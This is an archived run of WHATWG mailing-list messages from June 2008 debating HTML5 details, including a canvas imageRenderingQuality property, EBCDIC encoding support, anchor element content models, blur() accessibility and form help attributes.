	<11e306600806021519h55955cd2v99b8139cf9e949c6@mail.gmail.com>
	<AFE6C8A6-00C0-4CA2-92DD-96EAA4886700@apple.com>
	<82c3f5040806030709n7a2317dcxa66a358b7969161e@mail.gmail.com>
	<Pine.LNX.4.62.0806111017060.8559@hixie.dreamhostps.com>
	<574B0E6E-514B-42A3-97C8-B00FC3BC7C41@pobox.com>
	<Pine.LNX.4.62.0806302319180.13974@hixie.dreamhostps.com>
	<8e61feeb0806301655o51f68d62s6aa28fbd04ca946b@mail.gmail.com>
Message-ID: <7408C7B8-1A8C-4F46-BD76-676F1D18E9C0@apple.com>

>
>
> So now we need to define levels of graphic burden? and at what level  
> of burden does the quality suffer? Seems just as hard to define.  
> Having the author explicit say "this has to be as high quality as  
> possible" or "less can be low quality" seems better and we have  
> examples of other specs offering the same kind of control.
>
No.  The whole point is that the UA is in the best position to  
identify what the tradeoffs are, not the author -- if you want a flag  
to specify the quality to be used then that would require you to  
determine what the tradeoffs were yourself, with no substantial  
knowledge of what combination any given user was actually using.  You  
need to realise that different UAs and different platforms have  
substantially different performance characteristics.

And that said how would you make the decision yourself anyway?  Your  
decision will almost always hurt *some* portion of your userbase,  
either through lower quality than would otherwise be possible, or by  
making a page that is unusable for someone with a lower powered device.

And then, after you've made that decision you will start getting some  
people saying UA1 looks better than UA2 because you underestimated  
performance of the UAs, and UA1 ignores the flag.  Or you'll get  
people saying UA1 is unusable because you found it was slow in UA2, so  
you dropped the quality setting -- which UA1 ignores, but then a year  
later you get people saying UA1 looks better again because hardware is  
faster so it now do its higher quality rendering without any problem  
-- but UA2 is still using the low quality path.  Finally you test on  
UA1 and UA2, and find your site looks good in one, but is too slow in  
the other, do you now lower the quality in both so that your site is  
usable in both, or do you try and make the decision in JS at runtime?   
If the latter you now have quite a bit more work to do.  How do you  
determine the performance of a particular UA/platform combination?  JS  
performance is not the same as canvas, so you have to manually test  
canvas performance, so you are now trying to hand code what could  
already be built into the UA.  Alternatively you could just try to  
take the lazy path and do a UA check, and try to determine the  
performance based on UA but now you have *all* of the standard UA  
check problems, and you still can't test the real performance because  
you don't know what hardware you're on.

If the UA makes its own decisions about performance, it can make a  
decision based on a wide range of information that you do not have any  
access to, in addition to being aware of the specific costs of certain  
operations (eg. a UA could choose to lower the quality of only a  
single operation, like image scaling, but leave other operations at  
their standard fidelity -- trying to do this in a flag would be both  
horrifically complicated for authors *and* would represent tremendous  
over specification by the standard)

--Oliver



From ian at hixie.ch  Sun Jun  1 03:49:15 2008
From: ian at hixie.ch (Ian Hickson)
Date: Sun, 1 Jun 2008 10:49:15 +0000 (UTC)
Subject: [whatwg] scripts that remove focus from links during document
 navigation
In-Reply-To: <dd4c8a40609200726r6ecbc518i7ce91bbef0495016@mail.gmail.com>
References: <dd4c8a40609200726r6ecbc518i7ce91bbef0495016@mail.gmail.com>
Message-ID: <Pine.LNX.4.62.0806011048360.8559@hixie.dreamhostps.com>

On Wed, 20 Sep 2006, Hallvord R M Steen wrote:
> 
> Opera has a serious usability problem for keyboard- and device-users 
> when pages do the following:
> 
> <a href="" onfocus="this.blur()">
> 
> This coding is very common because IE adds a small outline border to 
> focused links. Authors who do not like this will blur links when they 
> are activated to avoid this cosmetic issue. (Mea culpa: I've done 
> exactly this myself in sites I coded as a newbie, for that very reason.)
> 
> In Opera, when keyboard navigation hits this link, focus is removed. 
> Thus the link can not be activated from the keyboard and navigation may 
> have to start from the top of the document again.
> 
> We need some prose in a spec that allows a user agent to ignore blur() 
> for accessibility reasons.

Done in HTML5, which seems to be the only spec that actually defines 
blur() in any sort of useful detail now. :-)

-- 
Ian Hickson               U+1047E                )\._.,--....,'``.    fL
http://ln.hixie.ch/       U+263A                /,   _.. \   _\  ;`._ ,.
Things that are impossible just take longer.   `._.-(,_..'--(,_..'`-.;.'


From hsivonen at iki.fi  Sun Jun  1 06:45:26 2008
From: hsivonen at iki.fi (Henri Sivonen)
Date: Sun, 1 Jun 2008 16:45:26 +0300
Subject: [whatwg] Is EBCDIC support needed for not breaking the Web?
Message-ID: <64E4A9A2-86F2-4BD9-B2FA-E409DC7F183B@iki.fi>

The HTML5 draft says that authors should not use EBCDIC-based  
encodings. This is more lax than saying that authors must not use and  
user agents must not support CESU-8, UTF-7, BOCU-1 and SCSU.

In general, now that UTF-8 exists and is ubiquitously supported,  
proliferation of encodings is costly and doesn't expand that the  
expressiveness of HTML which is parsed into a Unicode DOM anyway.  
Moreover, encodings that are not ASCII supersets are potential  
security risks since the string "<script>" may be represented by  
different bytes than in ASCII leading to potential privilege  
escalation if a server-side gatekeeper and a user agent give different  
meanings to the bytes.

For these reasons, if EBCDIC-based encodings don't need to be  
supported in order to Support Existing Content, it would be beneficial  
never to add support for them and, thus, ban them like CESU-8, UTF-7,  
BOCU-1 and SCSU.

I asked Hixie for examples of sites or browsers that require/support  
EBCDIC-based encodings. He had none. I examined the encoding menus of  
Firefox 3b5, Safari 3.1 and Opera 9.5 beta (on Leopard) and IE8 beta 1  
(on English XP SP3). None of them expose EBCDIC-based encodings in the  
UI. (All the IBM encodings Firefox exposes turn out to be ASCII-based.)

This makes me wonder: Do the top browsers support any EBCDIC-based  
encodings but just without exposing them in the UI? If not, can there  
be any notable EBCDIC-based Web content?

I'm suspecting that EBCDIC isn't actually a Web-relevant.

-- 
Henri Sivonen
hsivonen at iki.fi
http://hsivonen.iki.fi/




From derhoermi at gmx.net  Sun Jun  1 07:25:05 2008
From: derhoermi at gmx.net (Bjoern Hoehrmann)
Date: Sun, 01 Jun 2008 16:25:05 +0200
Subject: [whatwg] Is EBCDIC support needed for not breaking the Web?
In-Reply-To: <64E4A9A2-86F2-4BD9-B2FA-E409DC7F183B@iki.fi>
References: <64E4A9A2-86F2-4BD9-B2FA-E409DC7F183B@iki.fi>
Message-ID: <l2c544lbqh6osn8r4bbvm1tid4buv91hmm@hive.bjoern.hoehrmann.de>

* Henri Sivonen wrote:
>This makes me wonder: Do the top browsers support any EBCDIC-based  
>encodings but just without exposing them in the UI? If not, can there  
>be any notable EBCDIC-based Web content?

Internet Explorer should support any character encoding Windows supports
(see the advanced tab in `control International`), which includes many
EBCDIC encodings. See eg. http://www.websitedev.de/temp/ebcdic-cp-us.txt
for an example. It seems to me www-international at w3.org would have been
a better place to ask your questions than the mailing lists you picked.
-- 
Bj?rn H?hrmann ? mailto:bjoern at hoehrmann.de ? http://bjoern.hoehrmann.de
Weinh. Str. 22 ? Telefon: +49(0)621/4309674 ? http://www.bjoernsworld.de
68309 Mannheim ? PGP Pub. KeyID: 0xA4357E78 ? http://www.websitedev.de/ 


From hsivonen at iki.fi  Sun Jun  1 08:00:58 2008
From: hsivonen at iki.fi (Henri Sivonen)
Date: Sun, 1 Jun 2008 18:00:58 +0300
Subject: [whatwg] Is EBCDIC support needed for not breaking the Web?
In-Reply-To: <l2c544lbqh6osn8r4bbvm1tid4buv91hmm@hive.bjoern.hoehrmann.de>
References: <64E4A9A2-86F2-4BD9-B2FA-E409DC7F183B@iki.fi>
	<l2c544lbqh6osn8r4bbvm1tid4buv91hmm@hive.bjoern.hoehrmann.de>
Message-ID: <2D9C1549-5C1E-412A-9904-48F092589D6A@iki.fi>

On Jun 1, 2008, at 17:25, Bjoern Hoehrmann wrote:

> * Henri Sivonen wrote:
>> This makes me wonder: Do the top browsers support any EBCDIC-based
>> encodings but just without exposing them in the UI? If not, can there
>> be any notable EBCDIC-based Web content?
>
> Internet Explorer should support any character encoding Windows  
> supports
> (see the advanced tab in `control International`), which includes many
> EBCDIC encodings. See eg. http://www.websitedev.de/temp/ebcdic-cp-us.txt
> for an example.

Thanks.

Philip Taylor made a test case:
http://philip.html5.org/demos/charset/ebcdic/charsets.html

It shows that browsers that use general-purpose decoder libraries (IE  
and Safari) support some EBCDIC flavors but browsers that roll their  
own decoders (Firefox and Opera) don't.

Firefox and Opera being able get away with not supporting EBCDIC  
flavors suggests that EBCDIC-based encodings cannot be particularly  
Web-relevant. Even if saying that browsers MUST NOT support them might  
end up being a dead letter, it seems that it would be feasible to say  
that browsers SHOULD NOT support them or at least MUST NOT let a  
heuristic detector guess EBCDIC (for security reasons).

(Also, I think I'm going to remove EBCDIC support from Validator.nu.)

> It seems to me www-international at w3.org would have been
> a better place to ask your questions than the mailing lists you  
> picked.

So many lists. :-( CCed that one, too, just in case.

-- 
Henri Sivonen
hsivonen at iki.fi
http://hsivonen.iki.fi/




From dgerard at gmail.com  Sun Jun  1 09:25:26 2008
From: dgerard at gmail.com (David Gerard)
Date: Sun, 1 Jun 2008 17:25:26 +0100
Subject: [whatwg] Is EBCDIC support needed for not breaking the Web?
In-Reply-To: <2D9C1549-5C1E-412A-9904-48F092589D6A@iki.fi>
References: <64E4A9A2-86F2-4BD9-B2FA-E409DC7F183B@iki.fi>
	<l2c544lbqh6osn8r4bbvm1tid4buv91hmm@hive.bjoern.hoehrmann.de>
	<2D9C1549-5C1E-412A-9904-48F092589D6A@iki.fi>
Message-ID: <fbad4e140806010925q3cc565e0n50ffa46a78d4281a@mail.gmail.com>

[just to whatwg]

2008/6/1 Henri Sivonen <hsivonen at iki.fi>:

> Philip Taylor made a test case:
> http://philip.html5.org/demos/charset/ebcdic/charsets.html
> It shows that browsers that use general-purpose decoder libraries (IE and
> Safari) support some EBCDIC flavors but browsers that roll their own
> decoders (Firefox and Opera) don't.


I just loaded that test page in Firefox 3 on Linux (Mozilla/5.0 (X11;
U; Linux i686; en-US; rv:1.9pre) Gecko/2008052604 Minefield/3.0pre)
and the accented characters appear to work in the EBCDIC encodings ...


- d.


From hsivonen at iki.fi  Sun Jun  1 09:31:09 2008
From: hsivonen at iki.fi (Henri Sivonen)
Date: Sun, 1 Jun 2008 19:31:09 +0300
Subject: [whatwg] Is EBCDIC support needed for not breaking the Web?
In-Reply-To: <fbad4e140806010925q3cc565e0n50ffa46a78d4281a@mail.gmail.com>
References: <64E4A9A2-86F2-4BD9-B2FA-E409DC7F183B@iki.fi>
	<l2c544lbqh6osn8r4bbvm1tid4buv91hmm@hive.bjoern.hoehrmann.de>
	<2D9C1549-5C1E-412A-9904-48F092589D6A@iki.fi>
	<fbad4e140806010925q3cc565e0n50ffa46a78d4281a@mail.gmail.com>
Message-ID: <7DA0D7B6-C4AB-4F9E-9544-732E87D074DE@iki.fi>

On Jun 1, 2008, at 19:25, David Gerard wrote:

> I just loaded that test page in Firefox 3 on Linux (Mozilla/5.0 (X11;
> U; Linux i686; en-US; rv:1.9pre) Gecko/2008052604 Minefield/3.0pre)
> and the accented characters appear to work in the EBCDIC encodings ...


That means they are being decoded as ISO-8859-1/Windows-1252 i.e. not  
as EBCDIC.

-- 
Henri Sivonen
hsivonen at iki.fi
http://hsivonen.iki.fi/




From ernestcline at mindspring.com  Sun Jun  1 20:26:40 2008
From: ernestcline at mindspring.com (Ernest Cline)
Date: Sun, 1 Jun 2008 23:26:40 -0400 (EDT)
Subject: [whatwg] Proposal for a link attribute to replace <a href>
Message-ID: <21254450.1212377200484.JavaMail.root@mswamui-thinleaf.atl.sa.earthlink.net>



-----Original Message-----
>From: Anne van Kesteren <annevk at opera.com>
>Sent: May 31, 2008 5:02 AM
>To: Ernest Cline <ernestcline at mindspring.com>, WhatWG <whatwg at whatwg.org>
>Subject: Re: [whatwg] Proposal for a link attribute to replace <a href>
>
>On Sat, 31 May 2008 04:20:10 +0200, Ernest Cline  
><ernestcline at mindspring.com> wrote:
>> What about adding a third non-metadata hyperlink element, say <anchor>,  
>> which would be a flow content element with flow content allowed in it?   
>> This would seem to cover the use cases presented, while preserving <a>  
>> as being phrasing content only.  The only issue I see if this were  
>> added, is whether it would be better to have the ismap attribute of  
>> <img> only work with <a> or to have it work with the new element as well.
>
>The <a> element can already do this and it would be backwards compatible.

Backwards compatible with some user agents but not with the specs.  The following fragment has never been valid according to the specs in any of HTML 1.0, 2.0, 3.2, or 4, or the current draft of HTML 5, despite <a>, <h3>, and <p> appearing in all of them.

<a href="foo.html">
 <h3>Heading</h3>
 <p>Text</p>
</a>

The specs have always called for <a> to only have inline content save that for some reason, HTML 2.0 did allow <h1> to <h6> inside <a> though that was not recommended, and that was reverted back to inline only in 3.2.

While changing the specs to match user agent behavior is a possibility, it is not one that should be taken lightly. (Nor should adding a new flow content hyperlink element, be taken lightly either.)


From hsivonen at iki.fi  Mon Jun  2 00:05:23 2008
From: hsivonen at iki.fi (Henri Sivonen)
Date: Mon, 2 Jun 2008 10:05:23 +0300
Subject: [whatwg] Is EBCDIC support needed for not breaking the Web?
In-Reply-To: <48434C79.7040703@mozilla.com>
References: <64E4A9A2-86F2-4BD9-B2FA-E409DC7F183B@iki.fi>	<l2c544lbqh6osn8r4bbvm1tid4buv91hmm@hive.bjoern.hoehrmann.de>
	<2D9C1549-5C1E-412A-9904-48F092589D6A@iki.fi>
	<48434C79.7040703@mozilla.com>
Message-ID: <35BA2A92-888F-4CBD-B1C9-57A696CB6C76@iki.fi>

On Jun 2, 2008, at 04:27, Benjamin Smedberg wrote:

> Henri Sivonen wrote:
>
>> Firefox and Opera being able get away with not supporting EBCDIC  
>> flavors suggests that EBCDIC-based encodings cannot be particularly  
>> Web-relevant. Even if saying that browsers MUST NOT support them  
>> might end up being a dead letter, it seems that it would be  
>> feasible to say that browsers SHOULD NOT support them or at least  
>> MUST NOT let a heuristic detector guess EBCDIC (for security  
>> reasons).
>
> Gecko does support UTF-7 and will continue to do so because UTF-7 is  
> still in use as a character set for mail encoding and multi-part  
> MIME documents.

Does/will Gecko support UTF-7 as a possible heuristic detector guess  
on the Web/HTTP side?

-- 
Henri Sivonen
hsivonen at iki.fi
http://hsivonen.iki.fi/




From annevk at opera.com  Mon Jun  2 02:39:00 2008
From: annevk at opera.com (Anne van Kesteren)
Date: Mon, 02 Jun 2008 11:39:00 +0200
Subject: [whatwg] Proposal for a link attribute to replace <a href>
In-Reply-To: <21254450.1212377200484.JavaMail.root@mswamui-thinleaf.atl.sa.earthlink.net>
References: <21254450.1212377200484.JavaMail.root@mswamui-thinleaf.atl.sa.earthlink.net>
Message-ID: <op.ub37ra0864w2qv@annevk-t60.oslo.opera.com>

On Mon, 02 Jun 2008 05:26:40 +0200, Ernest Cline  
<ernestcline at mindspring.com> wrote:
>> The <a> element can already do this and it would be backwards  
>> compatible.
>
> Backwards compatible with some user agents but not with the specs.

Sure, but <anchor> is not backwards compatible with specs or user agents.


-- 
Anne van Kesteren
<http://annevankesteren.nl/>
<http://www.opera.com/>


From mpt at myrealbox.com  Mon Jun  2 05:40:55 2008
From: mpt at myrealbox.com (Matthew Paul Thomas)
Date: Mon, 02 Jun 2008 13:40:55 +0100
Subject: [whatwg] Context help in Web Forms
In-Reply-To: <Pine.LNX.4.62.0805270636020.8559@hixie.dreamhostps.com>
References: <019701c56f81$0ba27e30$fe01a8c0@faottcan001>
	<42ACCFFA.20306@myrealbox.com>
	<Pine.LNX.4.62.0710310056140.15478@hixie.dreamhostps.com>
	<b83a9d8ebfd613109406191e8518a770@myrealbox.com>
	<Pine.LNX.4.62.0805270636020.8559@hixie.dreamhostps.com>
Message-ID: <4843EA57.3070900@myrealbox.com>

Ian Hickson wrote on 27/05/08 07:47:
> 
> On Mon, 12 Nov 2007, Matthew Paul Thomas wrote:
> 
>> On Oct 30, 2007, at 6:01 PM, Ian Hickson wrote:
>>> 
>>> On Mon, 13 Jun 2005, Matthew Thomas wrote:
>...
>>>> Many applications provide inline help which is not a label, and the 
>>>> same attributes would be appropriate here: <div rel="help" 
>>>> for="phone-number"><p>The full number, including country code.</p> 
>>>> <p>Example: <samp>+61 3 1234 5678</samp></p></div>
>>> 
>>> How would UAs use this?
>> 
>> UAs likely wouldn't, but scripts could. For example, a form might 
>> include sparing help by default, with a style sheet hiding more 
>> exhaustive help (as indicated by rel="help"). Then a script could add a 
>> small help button after each control that has associated help (i.e. each 
>> control with name="x" where there exists an element on the page with 
>> rel="help" for="x"). When a control's help button was clicked, the 
>> control's help would be shown.
>...
> The data-* attributes are intended for scripts like this.
>...

The disadvantage of using a data-* attribute is that more kinds of
mistakes would be undetectable by a validator. It would have no idea
that (a) the value of the attribute must be the ID of an element
elsewhere in the document, and (b) each value must be unique within the
document.

I wonder if the data-* attribute naming scheme could be classified
somehow to allow basic type checking like this. I expect there will be
other cases where authors want an attribute value to match the ID of an
element in the page.

Cheers
-- 
Matthew Paul Thomas
http://mpt.net.nz/


From vladimir at pobox.com  Mon Jun  2 12:03:02 2008
From: vladimir at pobox.com (Vladimir Vukicevic)
Date: Mon, 2 Jun 2008 12:03:02 -0700
Subject: [whatwg] createImageData
In-Reply-To: <B27A91CD-A9A8-4BA8-8A3B-F1802F5A1314@apple.com>
References: <Pine.LNX.4.62.0611151735330.28418@dhalsim.dreamhost.com>
	<4560F162.7060204@stefan-haustein.com>
	<Pine.LNX.4.62.0805020038260.21650@hixie.dreamhostps.com>
	<0738FD12-AC1F-44C0-B731-2FF7C6084BDC@pobox.com>
	<Pine.LNX.4.62.0805100036080.23610@hixie.dreamhostps.com>
	<E5819C3D-698A-4AFC-9CD6-C0BDE670227F@pobox.com>
	<3A588C7C-DD91-495E-87F0-4FAAA2E60E71@pobox.com>
	<6D02C77F-6528-4032-8071-00CCF8D43B5C@apple.com>
	<0C3E377C-A5E4-4D7A-90A8-F97513B1CA1E@pobox.com>
	<B483364C-AA4F-405F-BDEB-4081071B43B9@apple.com>
	<3176995D-372E-4430-A2F6-0605E93123E8@pobox.com>
	<E31F35F6-366E-4680-81E7-72F6E07E1D9F@apple.com>
	<CE1AC749-12A0-4FD6-BF55-5B68032C018C@pobox.com>
	<B27A91CD-A9A8-4BA8-8A3B-F1802F5A1314@apple.com>
Message-ID: <66629F5C-A66F-484E-AAF4-6618BF7AA574@pobox.com>


Sorry it took me a bit to respond here... so, ok, based on the  
discussion, I'd suggest:

- user-created ImageData-like objects should be supported, e.g. with  
language such as:

The first argument to the method must be an ImageData object returned  
by createImageData(), getImageData(), or an object constructed with  
the necessary properties by the user.  If the object was constructed  
by the user, its width and height dimensions are specified in device  
pixels (which may not map directly to CSS pixels).  If null or any  
other object is given that does not present the ImageData interface,  
then the putImageData() method must raise a TYPE_MISMATCH_ERR exception.

- ImageData objects returned by createImageData or getImageData should  
behave as currently specified; that is, they should explicitly clamp  
on pixel assignment.

That gives users a choice over which approach they want to take, and  
whether they want clamping or not.

How's that sound?

     - Vlad



From vladimir at pobox.com  Mon Jun  2 12:19:50 2008
From: vladimir at pobox.com (Vladimir Vukicevic)
Date: Mon, 2 Jun 2008 12:19:50 -0700
Subject: [whatwg] [canvas] imageRenderingQuality property
Message-ID: <C3ADCBC7-B974-4614-9DAC-2A1EDD2B1D6D@pobox.com>


I'd like to propose adding an imageRenderingQuality property on the  
canvas 2D context to allow authors to choose speed vs. quality when  
rendering images (especially transformed ones).  This is modeled on  
the SVG image-rendering property, at http://www.w3.org/TR/SVG/painting.html#ImageRenderingProperty 
:

   attribute string imageRenderingQuality;

'auto' (default): The user agent shall make appropriate tradeoffs to  
balance speed and quality, but quality shall be given more importance  
than speed.

'optimizeQuality': Emphasize quality over rendering speed.

'optimizeSpeed': Emphasize speed over rendering quality.

No specific image sampling algorithm is specified for any of these  
properties, with the exception that, at a minimum, nearest-neighbour  
resampling should be used.  One alternative is to specify 'best',  
'good', 'fast', with "good" being the default, as opposed to the SVG  
names; I think those names are more descriptive, but there might be  
value in keeping the names consistent with SVG, especially if that  
property bubbles up into general CSS usage.

     - Vlad



From oliver at apple.com  Mon Jun  2 12:25:32 2008
From: oliver at apple.com (Oliver Hunt)
Date: Mon, 2 Jun 2008 12:25:32 -0700
Subject: [whatwg] [canvas] imageRenderingQuality property
In-Reply-To: <C3ADCBC7-B974-4614-9DAC-2A1EDD2B1D6D@pobox.com>
References: <C3ADCBC7-B974-4614-9DAC-2A1EDD2B1D6D@pobox.com>
Message-ID: <08BB7103-F7ED-4AB3-80A9-DD6692B28AE9@apple.com>

Um, could you actually give some kind of reasoning for these?  I am  
not aware of any significant performance issues in Canvas that cannot  
be almost directly attributed to JavaScript itself rather than the  
canvas.

--Oliver

On Jun 2, 2008, at 12:19 PM, Vladimir Vukicevic wrote:

>
> I'd like to propose adding an imageRenderingQuality property on the  
> canvas 2D context to allow authors to choose speed vs. quality when  
> rendering images (especially transformed ones).  This is modeled on  
> the SVG image-rendering property, at http://www.w3.org/TR/SVG/painting.html#ImageRenderingProperty 
> :
>
>  attribute string imageRenderingQuality;
>
> 'auto' (default): The user agent shall make appropriate tradeoffs to  
> balance speed and quality, but quality shall be given more  
> importance than speed.
>
> 'optimizeQuality': Emphasize quality over rendering speed.
>
> 'optimizeSpeed': Emphasize speed over rendering quality.
>
> No specific image sampling algorithm is specified for any of these  
> properties, with the exception that, at a minimum, nearest-neighbour  
> resampling should be used.  One alternative is to specify 'best',  
> 'good', 'fast', with "good" being the default, as opposed to the SVG  
> names; I think those names are more descriptive, but there might be  
> value in keeping the names consistent with SVG, especially if that  
> property bubbles up into general CSS usage.
>
>    - Vlad
>



From vladimir at pobox.com  Mon Jun  2 14:15:51 2008
From: vladimir at pobox.com (Vladimir Vukicevic)
Date: Mon, 2 Jun 2008 14:15:51 -0700
Subject: [whatwg] [canvas] imageRenderingQuality property
In-Reply-To: <08BB7103-F7ED-4AB3-80A9-DD6692B28AE9@apple.com>
References: <C3ADCBC7-B974-4614-9DAC-2A1EDD2B1D6D@pobox.com>
	<08BB7103-F7ED-4AB3-80A9-DD6692B28AE9@apple.com>
Message-ID: <24C1058B-359C-4312-B1A2-BD4C630A27B4@pobox.com>


Sure; bilinear filtering is slower than nearest neighbour sampling,  
and in many cases the app author would like to be able to decide that  
tradeoff (or, at least, to be able to say "I want this to go as fast  
as possible, regardless of quality").  Some apps might also render to  
a canvas just once, and would prefer to do it at the highest quality  
filtering available even if it's more expensive than the default.

     - Vlad

On Jun 2, 2008, at 12:25 PM, Oliver Hunt wrote:
> Um, could you actually give some kind of reasoning for these?  I am  
> not aware of any significant performance issues in Canvas that  
> cannot be almost directly attributed to JavaScript itself rather  
> than the canvas.
>
> --Oliver
>
> On Jun 2, 2008, at 12:19 PM, Vladimir Vukicevic wrote:
>
>>
>> I'd like to propose adding an imageRenderingQuality property on the  
>> canvas 2D context to allow authors to choose speed vs. quality when  
>> rendering images (especially transformed ones).  This is modeled on  
>> the SVG image-rendering property, at http://www.w3.org/TR/SVG/painting.html#ImageRenderingProperty 
>> :
>>
>> attribute string imageRenderingQuality;
>>
>> 'auto' (default): The user agent shall make appropriate tradeoffs  
>> to balance speed and quality, but quality shall be given more  
>> importance than speed.
>>
>> 'optimizeQuality': Emphasize quality over rendering speed.
>>
>> 'optimizeSpeed': Emphasize speed over rendering quality.
>>
>> No specific image sampling algorithm is specified for any of these  
>> properties, with the exception that, at a minimum, nearest- 
>> neighbour resampling should be used.  One alternative is to specify  
>> 'best', 'good', 'fast', with "good" being the default, as opposed  
>> to the SVG names; I think those names are more descriptive, but  
>> there might be value in keeping the names consistent with SVG,  
>> especially if that property bubbles up into general CSS usage.
>>
>>   - Vlad
>>
>



From hyatt at apple.com  Mon Jun  2 14:26:41 2008
From: hyatt at apple.com (David Hyatt)
Date: Mon, 02 Jun 2008 16:26:41 -0500
Subject: [whatwg] [canvas] imageRenderingQuality property
In-Reply-To: <24C1058B-359C-4312-B1A2-BD4C630A27B4@pobox.com>
References: <C3ADCBC7-B974-4614-9DAC-2A1EDD2B1D6D@pobox.com>
	<08BB7103-F7ED-4AB3-80A9-DD6692B28AE9@apple.com>
	<24C1058B-359C-4312-B1A2-BD4C630A27B4@pobox.com>
Message-ID: <E0DE7ED6-DF22-4334-A073-BBA8B2ADEDE8@apple.com>

I like the idea of this property.  I actually would love to see the  
SVG property applied to HTML <img> as well. :)

dave

On Jun 2, 2008, at 4:15 PM, Vladimir Vukicevic wrote:

>
> Sure; bilinear filtering is slower than nearest neighbour sampling,  
> and in many cases the app author would like to be able to decide  
> that tradeoff (or, at least, to be able to say "I want this to go as  
> fast as possible, regardless of quality").  Some apps might also  
> render to a canvas just once, and would prefer to do it at the  
> highest quality filtering available even if it's more expensive than  
> the default.
>
>    - Vlad
>
> On Jun 2, 2008, at 12:25 PM, Oliver Hunt wrote:
>> Um, could you actually give some kind of reasoning for these?  I am  
>> not aware of any significant performance issues in Canvas that  
>> cannot be almost directly attributed to JavaScript itself rather  
>> than the canvas.
>>
>> --Oliver
>>
>> On Jun 2, 2008, at 12:19 PM, Vladimir Vukicevic wrote:
>>
>>>
>>> I'd like to propose adding an imageRenderingQuality property on  
>>> the canvas 2D context to allow authors to choose speed vs. quality  
>>> when rendering images (especially transformed ones).  This is  
>>> modeled on the SVG image-rendering property, at http://www.w3.org/TR/SVG/painting.html#ImageRenderingProperty 
>>> :
>>>
>>> attribute string imageRenderingQuality;
>>>
>>> 'auto' (default): The user agent shall make appropriate tradeoffs  
>>> to balance speed and quality, but quality shall be given more  
>>> importance than speed.
>>>
>>> 'optimizeQuality': Emphasize quality over rendering speed.
>>>
>>> 'optimizeSpeed': Emphasize speed over rendering quality.
>>>
>>> No specific image sampling algorithm is specified for any of these  
>>> properties, with the exception that, at a minimum, nearest- 
>>> neighbour resampling should be used.  One alternative is to  
>>> specify 'best', 'good', 'fast', with "good" being the default, as  
>>> opposed to the SVG names; I think those names are more  
>>> descriptive, but there might be value in keeping the names  
>>> consistent with SVG, especially if that property bubbles up into  
>>> general CSS usage.
>>>
>>>  - Vlad
>>>
>>
>



From vladimir at pobox.com  Mon Jun  2 14:34:24 2008
From: vladimir at pobox.com (Vladimir Vukicevic)
Date: Mon, 2 Jun 2008 14:34:24 -0700
Subject: [whatwg] [canvas] imageRenderingQuality property
In-Reply-To: <E0DE7ED6-DF22-4334-A073-BBA8B2ADEDE8@apple.com>
References: <C3ADCBC7-B974-4614-9DAC-2A1EDD2B1D6D@pobox.com>
	<08BB7103-F7ED-4AB3-80A9-DD6692B28AE9@apple.com>
	<24C1058B-359C-4312-B1A2-BD4C630A27B4@pobox.com>
	<E0DE7ED6-DF22-4334-A073-BBA8B2ADEDE8@apple.com>
Message-ID: <68F64E2B-C0BD-4348-BE7C-E7708DC13CF8@pobox.com>


Yeah, I agree -- I thought that there was some plan somewhere to  
uplift a bunch of these SVG CSS properties into general usage?  I know  
that Gecko uplifted text-rendering, we should figure out what else  
makes sense to pull up.  (If image-rendering were uplifted, it would  
apply to <canvas>, for the scaling/transformation of the canvas  
element itself as opposed to the canvas rendering content.)

     - Vlad

On Jun 2, 2008, at 2:26 PM, David Hyatt wrote:
> I like the idea of this property.  I actually would love to see the  
> SVG property applied to HTML <img> as well. :)
>
> dave
>
> On Jun 2, 2008, at 4:15 PM, Vladimir Vukicevic wrote:
>
>>
>> Sure; bilinear filtering is slower than nearest neighbour sampling,  
>> and in many cases the app author would like to be able to decide  
>> that tradeoff (or, at least, to be able to say "I want this to go  
>> as fast as possible, regardless of quality").  Some apps might also  
>> render to a canvas just once, and would prefer to do it at the  
>> highest quality filtering available even if it's more expensive  
>> than the default.
>>
>>   - Vlad
>>
>> On Jun 2, 2008, at 12:25 PM, Oliver Hunt wrote:
>>> Um, could you actually give some kind of reasoning for these?  I  
>>> am not aware of any significant performance issues in Canvas that  
>>> cannot be almost directly attributed to JavaScript itself rather  
>>> than the canvas.
>>>
>>> --Oliver
>>>
>>> On Jun 2, 2008, at 12:19 PM, Vladimir Vukicevic wrote:
>>>
>>>>
>>>> I'd like to propose adding an imageRenderingQuality property on  
>>>> the canvas 2D context to allow authors to choose speed vs.  
>>>> quality when rendering images (especially transformed ones).   
>>>> This is modeled on the SVG image-rendering property, at http://www.w3.org/TR/SVG/painting.html#ImageRenderingProperty 
>>>> :
>>>>
>>>> attribute string imageRenderingQuality;
>>>>
>>>> 'auto' (default): The user agent shall make appropriate tradeoffs  
>>>> to balance speed and quality, but quality shall be given more  
>>>> importance than speed.
>>>>
>>>> 'optimizeQuality': Emphasize quality over rendering speed.
>>>>
>>>> 'optimizeSpeed': Emphasize speed over rendering quality.
>>>>
>>>> No specific image sampling algorithm is specified for any of  
>>>> these properties, with the exception that, at a minimum, nearest- 
>>>> neighbour resampling should be used.  One alternative is to  
>>>> specify 'best', 'good', 'fast', with "good" being the default, as  
>>>> opposed to the SVG names; I think those names are more  
>>>> descriptive, but there might be value in keeping the names  
>>>> consistent with SVG, especially if that property bubbles up into  
>>>> general CSS usage.
>>>>
>>>> - Vlad
>>>>
>>>
>>
>



From hyatt at apple.com  Mon Jun  2 14:36:54 2008
From: hyatt at apple.com (David Hyatt)
Date: Mon, 02 Jun 2008 16:36:54 -0500
Subject: [whatwg] [canvas] imageRenderingQuality property
In-Reply-To: <68F64E2B-C0BD-4348-BE7C-E7708DC13CF8@pobox.com>
References: <C3ADCBC7-B974-4614-9DAC-2A1EDD2B1D6D@pobox.com>
	<08BB7103-F7ED-4AB3-80A9-DD6692B28AE9@apple.com>
	<24C1058B-359C-4312-B1A2-BD4C630A27B4@pobox.com>
	<E0DE7ED6-DF22-4334-A073-BBA8B2ADEDE8@apple.com>
	<68F64E2B-C0BD-4348-BE7C-E7708DC13CF8@pobox.com>
Message-ID: <AD584CBE-FB07-4D46-A355-AACBAE37B0C9@apple.com>

On Jun 2, 2008, at 4:34 PM, Vladimir Vukicevic wrote:

> Yeah, I agree -- I thought that there was some plan somewhere to  
> uplift a bunch of these SVG CSS properties into general usage?  I  
> know that Gecko uplifted text-rendering, we should figure out what  
> else makes sense to pull up.  (If image-rendering were uplifted, it  
> would apply to <canvas>, for the scaling/transformation of the  
> canvas element itself as opposed to the canvas rendering content.)
>
>    - Vlad

Right, that would be my expectation as well (that the CSS property  
could be applied to <canvas> to control the quality when rendering the  
canvas buffer itself).

dave



